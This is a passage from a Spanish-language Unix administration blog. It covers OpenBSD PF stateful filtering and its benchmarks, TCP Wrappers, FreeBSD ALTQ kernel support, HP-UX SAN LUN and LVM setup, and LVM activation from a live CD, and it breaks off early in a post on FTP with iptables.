Es importante conocer que para poder manejar esto, el tiempo de expiración se va a ir incrementando gradualmente a medida que lleguen paquetes que formen parte de la misma conexión hasta alcanzar su tope máximo. De esta manera se evitan que múltiples estados UDP sean creados y queden muertos a la espera de nuevos paquetes.<br />
<br />
Los paquetes ICMP se dividen en dos categorías, ICMP-error e ICMP-querys (por ejemplo echo request/echo reply o más conocido como ping). Ambos tipos tienen la posibilidad de crear estados y ser manejados por el firewall, por ejemplo, si llega un ICMP-error al firewall, que es parte de una conexión existente, este matchea en la tabla de estados y puede pasar para notificar a la aplicación de que un error ocurrió. Lo mismo se aplica con los ICMP-querys.<br />
<br />
Las posibles formas de mantener estados de PF, son las siguientes:<br />
<ul>
<li><u>keep state</u>: Trabaja con TCP, UDP e ICMP, es el default en las reglas de filtrado.</li>
<li><u>modulate state</u>: Trabaja solo con TCP, recalcula el ISN.</li>
<li><u>synproxy state</u>: Crea un proxy SYN para las conexiones TCP entrantes a fin de evitar conexiones spoofeadas. Combina las ventajas de modulate state y keep state. </li>
<li><u>non state</u>: Funciona con TCP, UDP e ICMP. Ningún estado es creado.</li>
</ul>
El costo de evaluación de reglas de firewall puede ser calculado mediante <b>O(n)</b>, donde n es el número total de reglas por las que debe pasar el paquete. Mientras que el costo de evaluación de la existencia de estados es <b>O(log m)</b>, donde m es el número de estados. Mediante esto podemos concluir, que la evaluación de reglas tiene un coste parecido a la evaluación de estados.<br />
<br />
Es interesante la posibilidad que tiene PF de crear <b>TCP SYN Proxies</b> (mediante synproxy state), de manera, si un cliente quiere contactar a un host remoto, le pasa un SYN al firewall, el firewall crea una entrada en la tabla de estados, y es el propio firewall el que inicializa el trheeway-handshake con el host remoto, pasandole la conexión una vez establecida al cliente. Con esto se busca evitar TCP Syn Floods que pueden terminar en DoS/DDoS.<br />
<br />
Por su parte PF, también optimiza el conjunto de evaluación de reglas, mediante un algoritmo denominado <b>skip-steps</b>, el cual utiliza un puntero en cada parámetro de la regla apuntando a la siguiente regla a ser evaluada, que especifica un valor diferente para el parámetro; Si la regla no matchea con algún parámetro el puntero es utilizado para saltar a la siguiente regla que puede llegar a matchear. Esta optimización es totalmente transparente, debido a que no se modifica el ruleset, sino que se genera una estructura que simplemente mejora la performance del firewall, obviamente acorde a como esté escrito el ruleset cargado.<br />
<br />
La performance de un firewall esta dada por varios factores, tanto de hardware como de software. Por parte del hardware, es determinante el tipo de NIC utilizada, el bus al que se conecta esta NIC (ISA/PCI/PCIe), la memoria. Pero paradojimanete, múltiples CPU's o cores no ayudan a PF, ya que únicamente trabaja con un solo procesador.<br />
<br />
Por su lado, a nivel software, es factor determinante la complejidad con que fue configurado el ruleset, mientras mas complejo sea, más lento es. Por su parte, la utilización de la tabla de estados por parte de PF puede ser optimizado para actuar de diferentes formas; Esto puede ser establecido mediante el parámetro set, en el archivo /etc/pf.conf, como se muestra a continuación:<br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">set ruleset-optimization aggresive</span></blockquote>
Las distintas optimizaciones posibles del ruleset pueden ser:<br />
<br />
<dd style="background-color: white;"><ul>
<li><u>normal:</u> Utilizable para la mayoría de las redes.</li>
<li><u>high-latency:</u> Para redes de alta latencia, como conexiones satélitales. </li>
<li><u>aggresive:</u> Expiración agresiva de conexiones de la tabla de estados, puede ayudar a reducir el uso de memoria en firewalls de alta carga, eliminando las conexiones inactivas.</li>
<li><u>conservative:</u> Configuración extremadamente conservativa de recursos, puede aumentar la carga de la CPU debido al coste computacional utilizado para eliminar entradas de la tabla de estado.</li>
</ul>
</dd><br />
El monitoreo de la tabla de estados, puede hacerse en tiempo real, de manera totalmente transparente, con herramientas disponibles tanto en packages como en ports, tales como pftop, o el propio pfctl ( pfctl -ss / pfctl -si), etc.<br />
<br />
Los siguientes gráficos fueron extraidos del papper de Daniel Hartmeier <b>"Design and Performance of the OpenBSD Stateful Packet Filter (pf)"</b> y demuestran de manera clara y concisa lo expresado aquí. Las pruebas se basaron utilizando dos equipos 486, con dos NIC cada uno conectadas entre sí, un firewall utilizando PF, IPF e IPTables (de a uno por vez), y otro generando paquetes enviandolos a dicho Firewall. Como sistemas operativos se utilizaron OpenBSD 3.0 (Para PF tanto como para IPF), y Red Hat 7.2 con IPTables.<br />
<br />
El primer test, se realiza el envío de paquetes de 256 bytes para un set de 100 reglas sin utilizar estados. La degradación de PF parece peor que la de IPTables y la de IPF.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv7RKhcRX5-EiYFov85w9eiq6_4pDhR9BCgoNyo91vYiULk8Je9qeYogGaPUnFeaAS61oqEBjsBKbAXKojaxvztZAYIaujYP51h4iJK-RuWXHPi1dj862Snm9fhRbddzjpRrWr_l2OE9w/s1600/Imagen1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv7RKhcRX5-EiYFov85w9eiq6_4pDhR9BCgoNyo91vYiULk8Je9qeYogGaPUnFeaAS61oqEBjsBKbAXKojaxvztZAYIaujYP51h4iJK-RuWXHPi1dj862Snm9fhRbddzjpRrWr_l2OE9w/s1600/Imagen1.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
En el segundo test se realiza la misma prueba con paquetes de 256 bytes, un set de 100 reglas y la utilización de estados. IPTables gana incrementalmente a mayor número de paquetes este test.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0478FSDg26L5VqbcclNBzpC9xD0rpD0xuecRelvxiQschjM0selLhc-4Lc60xXazLFQxSaP6mPL75jrpdUDBwjUD0KqfPSK2t7ObecEjKAf2P-taTAaOB-YKPTsWy0HM5KAS102otfFA/s1600/Imagen2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0478FSDg26L5VqbcclNBzpC9xD0rpD0xuecRelvxiQschjM0selLhc-4Lc60xXazLFQxSaP6mPL75jrpdUDBwjUD0KqfPSK2t7ObecEjKAf2P-taTAaOB-YKPTsWy0HM5KAS102otfFA/s1600/Imagen2.png" /></a></div>
En el tercer test se intenta obtener el throughput máximo incrementando el número de reglas. El test es ganado por iptabales, debido a que tanto PF como IPF tienen un doble esfuerzo debido al filtrado de reglas inicial, y la búsqueda en la tabla de estados (y la creación de un estado si este aún no existe).<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkcKPkTAxrfvTrP1MTujnyYTst6ixf2xCi-GWh5I1jemBscDCld79346yGH615U2ICg4APCiLjhYvTesMORJHPDleRJ4HLzNSTjL7bx7cQUf6tZLr_A1S6x_YzZK4ZV_gmrlQxC9U_5Ug/s1600/Imagen3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkcKPkTAxrfvTrP1MTujnyYTst6ixf2xCi-GWh5I1jemBscDCld79346yGH615U2ICg4APCiLjhYvTesMORJHPDleRJ4HLzNSTjL7bx7cQUf6tZLr_A1S6x_YzZK4ZV_gmrlQxC9U_5Ug/s1600/Imagen3.png" /></a></div>
<br />
El cuarto test, es una comparativa de filtrado y utilización de estados entre PF e IPF, se puede notar que el throughput de PF decae mucho después que el de IPF a medida que se incrementa el número de paquetes.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-R93RMcJgAcI/Tv68bGeNdzI/AAAAAAAAGKU/TtBSsi9mj8k/s1600/Imagen4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="304" src="http://3.bp.blogspot.com/-R93RMcJgAcI/Tv68bGeNdzI/AAAAAAAAGKU/TtBSsi9mj8k/s640/Imagen4.png" width="640" /></a></div>
En el quinto test, se comparan las latencias entre PF e IPF, puede observarse que IPF tiene una latencia un poco más alta que la de PF a medida que se incrementa el número de paquetes.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk6q607P7DQCTLizQ-rdb42gSBHRq-pTxLmiwYNeKJFLF3oD16VB26cUAa0Q-VEMr6nA1QjJ1N1xBOl-QJtpnbJrbsjLpwhx0Pq7j7GOta9tkuEhCtWD5IT6y8xdQyU3EXacuOb8TgQeo/s1600/Imagen5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk6q607P7DQCTLizQ-rdb42gSBHRq-pTxLmiwYNeKJFLF3oD16VB26cUAa0Q-VEMr6nA1QjJ1N1xBOl-QJtpnbJrbsjLpwhx0Pq7j7GOta9tkuEhCtWD5IT6y8xdQyU3EXacuOb8TgQeo/s1600/Imagen5.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
Luego de esto, se puede concluir que la evaluación de reglas es bastante mas cara que la evaluación de estados. Durante los tests iniciales se nota que PF es bastante más lento evaluando reglas que IPF e IPTables, pero hace un triple trabajo, que es gradualmente menos costoso que el que realiza IPTables. La baja performance en estas pruebas es debida a la forma que PF utiliza para evaluar las reglas, lo que realiza tres veces por cada paquete que pasa por la interface de red. Dos veces para buscar reglas de scrubbing, que determinan la normalización IP y TCP, (cosa que netfilter no realiza de la mejor manera) y una vez para las reglas pass o block. Por lo cual, podemos determinar que evaluar reglas de filtrado, es mas caro computacionalmente, que la búsqueda de estados.<br />
<br />
<b>Mi punto a favor de los firewalls basados en estados.</b><br />
<b><br /></b><br />
<u>Material de referencia:</u><br />
Les recomiendo el siguiente material de lectura para ampliar lo expresado en este post.<br />
<ul>
<li><a href="http://www.benzedrine.cx/pf-paper.html" target="_blank">Design and Performance of the OpenBSD Stateful Packet Filter (pf)</a>.</li>
<li><a href="http://home.nuug.no/~peter/pf/en/" target="_blank">Firewalling with OpenBSD's PF packet filter.</a></li>
<li><a href="http://www.openbsd.org/faq/pf/" target="_blank">PF: The OpenBSD Packet Filter</a>.</li>
</ul>tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com7tag:blogger.com,1999:blog-5189027816427515351.post-58114933194613002782011-12-25T19:06:00.000-03:002012-10-27T21:39:39.274-03:00Linux: Determine if a program is using TCPWrappers<br />
<div class="separator" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;">
<img border="0" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE-DU8KPLjkfNixdOrL8EO6Jr4WZa0ktBBnxbgyUIthc2vIdPa-Xor87NgMixnN-9zJ-F1ksGfCzcXreWumgLlf7LmnJrKtO64eOfl5TaQ2iccnIfJLilrQjSS6PeInX-TXxa7Vpj7-88/s200/Linux.gif" width="128" /></div>
<br /><b>TCP Wrappers</b> es un sistema de ACL's basado en hosts y redes, multiplataforma; Que permite o deniega la acceso a un demonio en un sistema a ciertos hosts o redes, Su configuración se realiza editando los archivos /etc/hosts.allow y /etc/hosts.deny mediante el host o las redes que queremos permitir o denegar y las claves ALL, LOCAL, UNKNOW, KNOW y PARANOID.
<br /><br /><br />
Que un demonio utilice TCP Wrappers significa que el mismo fue compilado y linkeado contra libwrap.so y podemos determinarlo simplemente haciendo uso de ldd. Por ejemplo, podemos ver que SSH utiliza TCP Wrappers:
<div class="highlight" ><pre>
# ldd $(which sshd) | grep libwrap
libwrap.so.0 => /lib64/libwrap.so.0 (0x00002aae2628b000)
</pre></div>
<a name='more'></a>
Y que Apache (httpd) no:
<div class="highlight" ><pre>
# ldd $(which httpd) | grep libwrap
#</pre></div>
A raíz de esto podemos determinar las reglas a escribir cuando queremos permitir o denegar el acceso a un servicio desde una porción de red o host determinado.
<br />
Por ejemplo si queremos denegar el acceso a SSH, excepto desde la red 192.168.10.0/24 podemos escribir en /etc/hosts.deny la siguiente regla:
<div class="highlight" ><pre>
sshd: ALL EXCEPT 192.168.10.0/255.255.255.0
</pre></div>tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com0tag:blogger.com,1999:blog-5189027816427515351.post-36952097293505519302011-12-24T04:19:00.000-03:002012-10-27T21:52:39.738-03:00FreeBSD: Enabling ALTQ support for PF queues<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic4AR9jYM9HvFP37Xe6OZMYpi7llzqjJgvvQMIst6bTACStkzot4jam9mxjuW5BYNWhedt79XoI0XW4XqPwXydE10nKauZ5Xa4D-vphe-9v_lZw3hnV9mcYHkOOX8GQqFkKZ2jB0QXz-s/s1600/Beastie.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic4AR9jYM9HvFP37Xe6OZMYpi7llzqjJgvvQMIst6bTACStkzot4jam9mxjuW5BYNWhedt79XoI0XW4XqPwXydE10nKauZ5Xa4D-vphe-9v_lZw3hnV9mcYHkOOX8GQqFkKZ2jB0QXz-s/s200/Beastie.jpg" width="134" /></a></div>
Hace unos días, en <b><a href="http://www.dc-solutions.com.ar/" target="_blank">DC Solutions</a></b> migramos en un cliente un Firewall que utilizaba la tecnología <i>FreeBSD/IPFilter</i>, a <i>FreeBSD/Packet Filter</i> a fin de poder soportar queues para permitiri una priorización del tráfico VoIP y además aliviar el bug descrito en este post <a href="http://codigounix.blogspot.com/2011/09/freebsd-ipf-nat-entry-dupplication-on.html" target="_blank">IPF NAT entry causes kernel crash.</a><br />No voy a describir las ventajas de utilizar una tecnología como PF sobre IPF (aunque pueden ver <a href="http://codigounix.blogspot.com.ar/2011/12/unix-stateful-firewalls-vs-non-stateful.html">este post</a>), sino que solo voy a comentarles como darle soporte a las <i>queues</i> dentro del kernel de FreeBSD, el cual no se encuentra soportado por default dentro del kernel instalado con el sistema operativo, sino que debemos activarlo modificando el archivo de configuración del kernel.<br />
<br />
<a name='more'></a>
Al intentar levantar las reglas de PF si no hay soporte a ALTQ en el kernel se puede encontrar el siguiente mensaje de error:<br />
<div class="highlight">
<pre>No ALTQ support in kernel
ALTQ related functions disabled
</pre>
Como primer punto, debemos tener las fuentes del kernel instaladas en el equipo, para ello pueden utilizar sysinstall (como describo en la primera parte de este <a href="http://codigounix.blogspot.com/2011/11/freebsd-supporting-dtrace.html" target="_blank">post</a>), y así tenerlas instaladas bajo /usr/src.<br />
<br />
Una vez instaladas procedemos a modificar el archivo de configuración del kernel, que debería encontrarse en <i>/usr/src/sys/$(uname -m)/conf/GENERIC</i>. Lo que debemos hacer es copiar dicho archivo con un nuevo nombre, por ejemplo FIREWALL:<br />
<div class="highlight">
<pre># cp /usr/src/$(uname -m)/conf/GENERIC /usr/src/$(uname -m)/conf/FIREWALL</pre>
Y procedemos a parchear el archivo de configuración FILE, modificando la línea ident y añadiendo las siguientes líneas del tipo options, para dar soporte a los queues y sus diferentes tipos:<br />
<div class="highlight">
<pre>------ BEGIN ALTQ.patch ------
24c24
< ident GENERIC
---
> ident FIREWALL 78a79,87
> # Altq Support - added by FMDLC
> options ALTQ
> options ALTQ_CBQ
> options ALTQ_RED
> options ALTQ_RIO
> options ALTQ_HFSC
> options ALTQ_CDNR
> options ALTQ_PRIQ
>
------ EOF ALTQ.patch ------
# patch -p0 /usr/src/$(uname -m)/conf/FIREWALL < /tmp/ALTQ.patch
# cd /usr/src
# make buildkernel KERNCONF=FIREWALL</pre>
</div>
Una vez compilado procedemos a instalarlo y rebootear el equipo.<br />
<div class="highlight">
<pre># make installkernel KERNCONF=FIREWALL && reboot</pre>
</div>
Una vez booteado el nuevo kernel podemos hacer el pfctl sin errores:<br />
<div class="highlight">
<pre># kldload pf && pfctl -e -Fa -f /etc/pf.conf
rules cleared
nat cleared
2 tables deleted
altq cleared
0 states cleared
source tracking entries cleared
pf: statistics cleared
pf: interface flags reset
pfctl: pf already enabled
</pre>
</div>
</div>
</div>tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com0tag:blogger.com,1999:blog-5189027816427515351.post-9642232754817066722011-11-30T17:31:00.001-03:002012-10-27T21:11:55.968-03:00HP-UX: Working with SAN LUN's and LVM<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzWFib-7A6kibGdP4NoR9qeYsy5idDXrVagPtU9DT3GR5YuUAn0NotOA_IA9I-kzUM8FRL52oHkdbVDS4hqAZp3LRSPs5SPCVffGLDw6_l1nXNoNur8GQF5zcS86hMoSTZfJXLqne3m80/s1600/HPUX.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="56" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzWFib-7A6kibGdP4NoR9qeYsy5idDXrVagPtU9DT3GR5YuUAn0NotOA_IA9I-kzUM8FRL52oHkdbVDS4hqAZp3LRSPs5SPCVffGLDw6_l1nXNoNur8GQF5zcS86hMoSTZfJXLqne3m80/s400/HPUX.jpg" width="109" /></a></div>
Las redes de storage se integran cada día más como una de las tecnologías que mas fuertemente se utilizan en los datacenters. HP-UX si bien es un OS horrible (a gusto personal), sigue teniendo gran repercusión en entornos enterprise. Muchos de estos equipos trabajan con LUN's exportadas desde un storage, como puede ser un HP EVA y más de una vez se me ha hecho necesario trabajar con ellas. En este texto, voy a comentarles como reescanear las LUN's exportadas (partiendo desde el principio que el equipo tiene una HBA), y como crear Physical Volumes, Volumen Groups y Logical Volumes con estas en HP-UX 11.31.<br />
<br />
<a name='more'></a>
Como consejo, si la LUN que queremos presentarle al server, es demasiado grande, y tenemos la intención de crear un solo LV con ella, es recomendable elegir un tamaño grande de LE, >= 8, o mas conveniente aún (para futuros resizes) >= 16, aunque esto puede impactar en la performance del filesystem creado en ella dependiendo el tipo de datos que contengamos. Si utilizamos tamaños chicos de LE (4 Mb.) y la LUN es demasiado grande, superaremos el límite establecido por el OS de LE máximos por LV y tendremos problemas (lo digo por experiencia :-P). Comenzemos:<br />
<br />
Como primera medida, tenemos que tener las LUN creadas y presentadas en el storage (suponiendo que estamos utilizando FCoE o FC-SW). Una vez que esto es realizado, procedemos a reescanear las LUN's que ve el equipo con ioscan:<br />
<br />
# ioscan -funC disk<br />
<br />
Class I H/W Path Driver S/W State H/W Type Description<br />
===============================================================================<br />
disk 1 0/0/2/1.0.16 UsbScsiAdaptor CLAIMED DEVICE USB SCSI Stack Adaptor<br />
/dev/deviceFileSystem/Usb/MassStorage/dsk/disk@hp-1008+294=A60020000001<br />
/dev/deviceFileSystem/Usb/MassStorage/rdsk/disk@hp-1008+294=A60020000001<br />
disk 2 0/1/1/0.0.0.0.0 sdisk CLAIMED DEVICE HP DG072BB975<br />
/dev/dsk/c0t0d0 /dev/dsk/c0t0d0s2 /dev/rdsk/c0t0d0 /dev/rdsk/c0t0d0s2<br />
/dev/dsk/c0t0d0s1 /dev/dsk/c0t0d0s3 /dev/rdsk/c0t0d0s1 /dev/rdsk/c0t0d0s3<br />
disk 3 0/1/1/0.0.0.1.0 sdisk CLAIMED DEVICE HP DG072BB975<br />
/dev/dsk/c0t1d0 /dev/dsk/c0t1d0s2 /dev/rdsk/c0t1d0 /dev/rdsk/c0t1d0s2<br />
/dev/dsk/c0t1d0s1 /dev/dsk/c0t1d0s3 /dev/rdsk/c0t1d0s1 /dev/rdsk/c0t1d0s3<br />
disk 37 0/2/1/0.2.0.0.0.0.1 sdisk CLAIMED DEVICE HP HSV200<br />
/dev/dsk/c12t0d1 /dev/rdsk/c12t0d1<br />
disk 39 0/2/1/0.2.0.0.0.0.3 sdisk CLAIMED DEVICE HP HSV200<br />
/dev/dsk/c12t0d3 /dev/rdsk/c12t0d3<br />
disk 40 0/2/1/0.2.0.0.0.0.5 sdisk CLAIMED DEVICE HP HSV200<br />
/dev/dsk/c12t0d5 /dev/rdsk/c12t0d5<br />
disk 33 0/2/1/0.2.4.0.0.0.1 sdisk CLAIMED DEVICE HP HSV200<br />
<br />
Bien, ya tenemos todo reescaneado, notesé que por cuestiones de comodidad de lectura acorte la salida que es muchísimo más larga y así de desprolija. Ahora tenemos que crear las entradas correspondientes en /dev/disk/, de la siguiente forma:<br />
<br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># insf -e</span><br />
<br />
Ahora es posible que necesitemos identificar, los discos exportados, por lo cual podemos hacer esto mediante su WWN o World Wide Name, de la siguiente manera:<br />
<br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># scsimgr -p get_attr all_lun -a device_file -a wwid -a state</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">/dev/rdisk/disk20:0x600508b40006d93d0000c000001c0000:ONLINE</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">/dev/rdisk/disk21:0x600508b40006d93d0000c00000170000:ONLINE</span><br />
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">/dev/rdisk/disk22:0x600508b40006d93d0000c00000210000:ONLINE</span><br />
<br />
En este caso vemos que disk20, disk21, y disk22 son las LUNs, y podemos revisar en el storage su WWN para identificar cual es cada una.<br />
<div>
<br />
Si queremos escanear los adaptadores de Fiber Channel, hacemos:<br />
<br />
# <span class="Apple-style-span" style="font-family: monospace, 'Courier New';">ioscan -fnC fc</span><br />
<br />
En cambio si necesitamos consultar los WWN de las HBA's, podemos hacer:<br />
<br />
# <span class="Apple-style-span" style="font-family: monospace, 'Courier New';">fcmsutil /dev/fcd0</span><br />
<br /></div>
<div>
Ahora procederemos a trabajar con LVM, para ello, podemos utilizar SAM (o SMH) o hacerlo directamente desde la línea de comandos, nosotros elegimos esta última. Lo primero es inicializar a los discos como PV, para ello utilizaremos pvcreate:</div>
<div>
<br /></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># pvcreate /dev/dsk/dsk{20,21,22} </span></div>
<div>
<br /></div>
<div>
Una vez creados los PV, vamos a crear el VolumenGroup que se va a llamar vgfoobar, para ello, tal como en Linux, vamos a utilizar vgcreate:</div>
<div>
<br /></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># vgcreate vgfoobar /dev/dsk/disk{20,21,22} </span></div>
<div>
<br /></div>
<div>
Si esto falla, probablemente necesitemos preparar el device file en /dev, de la siguiente forma</div>
<div>
<br /></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># mkdir /dev/vgfoobar/</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># cd /dev/vgfoobar/</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># mknod group c 64 0x010000</span></div>
<div>
<br />
Ahora ya estamos en condiciones de crear los LV que hagan falta, una de las cosas que suckea de LVM en HP-UX es que tenemos que especificarle la capacidad de los LV en Mb o LE. Por lo cual por cuestiones de redondeo nosotros crearemos uno de 10.000 Mb.</div>
<div>
<br /></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># lvcreate -n lvexample -L 10000 vgfoobar </span></div>
<div>
<br /></div>
<div>
Y listo ya tenemos nuestro LV creado, podremos crear todos los que hagan falta. Ahora solo nos queda darle formato, en este caso bajo VxFS:</div>
<div>
<br /></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># newfs -F vxfs /dev/vgfoobar/lvexample </span></div>
<div>
<br /></div>
<div>
Nuestro LV debería montar en /mnt, en caso de elegir otro mountpoint debemos crearlo previamente (con mkdir), caso contrario, procedemos a montarlo directamente:</div>
<div>
<br /></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"># mount /dev/vgfoobar/lvexample /mnt</span></div>
<div>
<br /></div>
<div>
Si queremos que persista a los reboots, debemos agregarlo al /etc/fstab como se muestra a continuación:</div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: 12px;"><br /></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">/dev/vgfoobar/lvexample /mnt vxfs delaylog 0 2</span></div>
tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com6tag:blogger.com,1999:blog-5189027816427515351.post-43674439915953674762011-11-30T02:40:00.001-03:002012-10-27T21:36:55.208-03:00Linux: Enabling LVM devices from live CD.<br />
<div class="separator" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;">
<img border="0" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE-DU8KPLjkfNixdOrL8EO6Jr4WZa0ktBBnxbgyUIthc2vIdPa-Xor87NgMixnN-9zJ-F1ksGfCzcXreWumgLlf7LmnJrKtO64eOfl5TaQ2iccnIfJLilrQjSS6PeInX-TXxa7Vpj7-88/s200/Linux.gif" width="128" /></div>
<br />Hoy en mi trabajo tuve que resizear un volumen group donde se encontraba como LV el root filesystem (/) de un equipo con CentOS 5.4. Esta tarea no puede ser realizada en caliente, ya que consistía en reducir de 1.5 Tb. a 300 Gb. el volumen lógico del root filesystem (LVRoot) para después reducir el Volumen Group (VolGroup00).<br />
<br />
Uno de los problemas con que es común encontrarse es que toda la metadata de LVM esta disponible, por ejemplo utilizando pvdisplay, vgdisplay y lvdisplay; Pero en /dev no tenemos las entradas correspondientes al device mapper creadas (/dev/mapper/VolGroup00 y /dev/VolGroup00).<br />
<a name='more'></a>
Los pasos a seguir son los siguientes:<br />
<br />
En primer lugar debemos bootear el equipo con algún LiveCD, para este caso yo usé el de ArchLinux.<br />
Una vez booteado el equipo, procedemos a hacer el pvscan para identificar todos los physical devices:<br />
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">#: pvscan<br />PV /dev/sda2 VG VolGroup00 lvm2 [1.55 TB / 0 free]<br />Total: 1 [1.55 TB] / in use: 1 [1.55 TB] / in no VG: 0 [0]</span> </blockquote>
Y luego el vgscan:<br />
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">#: vgscan<br />Reading all physical volumes. This may take a while...<br />Found volume group "VolGroup00" using metadata type lvm2</span></blockquote>
Una véz identificados tenemos que cambiar el estado del VolGroup00 a active, esto nos creara las entradas correspondientes en el /dev<br />
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">#: vgchange -a y VolGroup00<br />/proc/misc: No entry for device-mapper found
Is device-mapper driver missing from kernel?<br />Failure to communicate with kernel device-mapper driver.<br />0 logical volume(s) in volume group "VolGroup00" now active</span></blockquote>
Pero como vemos, esto falla, lo que está sucediendo es que no tenemos cargados los módulos de device-mapper, por lo cual debemos cargarlos manualmente.<br />
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">#: modprobe -l | grep dm-<br />/lib/modules/2.6.18-238.5.1.el5/kernel/drivers/md/dm-crypt.ko<br />/lib/modules/2.6.18-238.5.1.el5/kernel/drivers/md/dm-mirror.ko<br />/lib/modules/2.6.18-238.5.1.el5/kernel/drivers/md/dm-mod.ko<br />/lib/modules/2.6.18-238.5.1.el5/kernel/drivers/md/dm-multipath.ko<br />/lib/modules/2.6.18-238.5.1.el5/kernel/drivers/md/dm-snapshot.ko<br />#: modprobe dm-mod<br />#: modprobe dm-snapshot</span></blockquote>
Y ahora si repetimos el vgchange esto va a funcionar, y las entradas correspondientes en /dev van a ser creadas, para así poder trabajar:<br />
<blockquote class="tr_bq">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">#: vgchange -a y VolGroup00<br />6 logical volume(s) in volume group "VolGroup00" now active</span></blockquote>tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com0tag:blogger.com,1999:blog-5189027816427515351.post-39181746180070675522011-11-11T02:27:00.001-03:002012-10-27T21:37:02.045-03:00Linux: Connection tracking with FTP and iptables<br />
<div class="separator" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;">
<img border="0" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE-DU8KPLjkfNixdOrL8EO6Jr4WZa0ktBBnxbgyUIthc2vIdPa-Xor87NgMixnN-9zJ-F1ksGfCzcXreWumgLlf7LmnJrKtO64eOfl5TaQ2iccnIfJLilrQjSS6PeInX-TXxa7Vpj7-88/s200/Linux.gif" width="128" /></div>
<br />Uno de los problemas más comunes con que se puede encontrar un sysadmin utilizando <i>iptables</i> es a la hora de hacer el deployment de un servidor FTP (como por ejemplo <i>vsftpd</i> o <i>proftpd</i>) estando detrás de un NAT. El cliente se podrá conectar al servidor, pero este no logrará realizar ninguna operación en el (como listar, o transferir archivos). <br /><br />
Según los distintos RFC que definen al protocolo FTP, este por regla general utiliza dos puertos, el <b>TCP/20</b> para datos y el <b>TCP/21</b> para control; Aunque esto no siempre es así y es lo que veremos en este post.<br />
Para evitar el problema mencionado anteriormente, podemos decir que FTP trabaja en dos modos:<i> el modo activo</i> y <i>el modo pasivo</i>.<br />
<a name='more'></a>
<br />
<b><u>El modo activo:</u></b><br />
<ol>
<li>El cliente se conecta desde un puerto no privilegiado (N >1023) al puerto de control del servidor (21).</li>
<li>El cliente comienza a escuchar el puerto N + 1.</li>
<li>El servidor se conectará al puerto N + 1 desde su puerto de datos (TCP/20).</li>
<li>El cliente responderá con un ACK al servidor.</li>
</ol>
<div>
<b><u>El modo pasivo:</u></b></div>
<div>
<ol>
